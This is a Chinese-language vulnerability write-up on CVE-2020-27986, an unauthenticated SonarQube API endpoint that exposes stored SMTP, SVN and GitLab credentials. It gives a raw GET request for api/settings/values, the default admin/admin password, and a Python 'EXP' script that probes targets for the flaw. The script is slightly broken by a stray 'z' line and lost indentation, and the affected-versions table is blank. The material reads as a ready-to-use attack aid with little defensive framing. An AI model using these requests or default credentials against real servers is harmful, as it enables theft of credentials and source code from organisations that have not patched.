SonarQube 未授权漏洞

0x01 漏洞影响产品概述

SonarQube是一款开源静态代码质量分析管理工具,支持Java、Python、PHP、JavaScript、CSS等27种以上目前极为流程的编程开发语言,同时它能够便捷集成在各种IDE、Jenkins、Git等服务中,方便及时查看代码质量分析报告。该工具在github开源社区获得6.3K的关注量,在全球颇具影响力,深得全球各研发工作者的喜爱。

0x02 漏洞描述

SonarQube是一款开源静态代码质量分析管理工具,在默认配置的情况下,缺少对API 接口的访问权限控制,攻击者可利用该漏洞在未授权的情况下,通过访问api/settings/values接口从而获取到 SMTP、SVN、GitLab 凭据,进一步获取源代码数据仓库中的源代码,造成项目源代码泄露。同时还可以对使用默认账号密码的用户进行攻击,系统安装完成后,默认弱口令为admin/admin,攻击者通过输入默认账号密码,同样可以获得敏感配置信息,从而进一步窃取企业源代码。

0x03 影响版本

此次受影响 SonarQube 版本如下:

SonarQube版本 是否受影响
<8.6
>=8,6

0x04 漏洞验证

直接未授权访问get链接即可

1
2
3
4
5
6
GET /api/settings/values HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

image-20211129105637462

1
本系统常见的默认口令是 admin/admin

得有泄漏敏感信息才能有危害,有些并没有配置的话,危害就没多大了

比如存在SMTP的密钥

image-20211129110309056

0x05 漏洞利用EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# author: Zeo
# python: 3.7
# datetime:2021/11/25 3:40 下午
# software: PyCharm

"""
文件说明:
"""

import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class EXP():
def __init__(self, args):
self.name = '''CVE-2020-27986 SonarQube api 未授权访问'''
self.url = args.url
self.res = ""

def _attack(self):
path = '/api/settings/values'
try:
resp = requests.get(self.url+path, timeout=10, verify=False)
if resp.status_code == 200 and 'application/json' in resp.headers['Content-Type'] and 'sonaranalyzer-cs.nuget.packageVersion' in resp.text and 'sonar.core.id' in resp.text:
self.res = "存在漏洞!"
else:
self.res = "不存在漏洞!"
except requests.exceptions.RequestException as e:
print("目标连接错误....")



def parseArgs():
parser = argparse.ArgumentParser(description="[Exp]!",formatter_class=argparse.RawDescriptionHelpFormatter)
group = parser.add_mutually_exclusive_group()
group.add_argument("-u", '--url', help="URL to scan; -u http://example.com")
args = parser.parse_args()

return args


def output(exp):

# print(f"Name {exp.name}")
print(f"URL {exp.url}")
print(f"RES {exp.res}")



if __name__ == "__main__":
args = parseArgs()
z
exp = EXP(args)
try:
exp._attack()
except Exception as e:
print(e)
exp.res = "Error"

output(exp)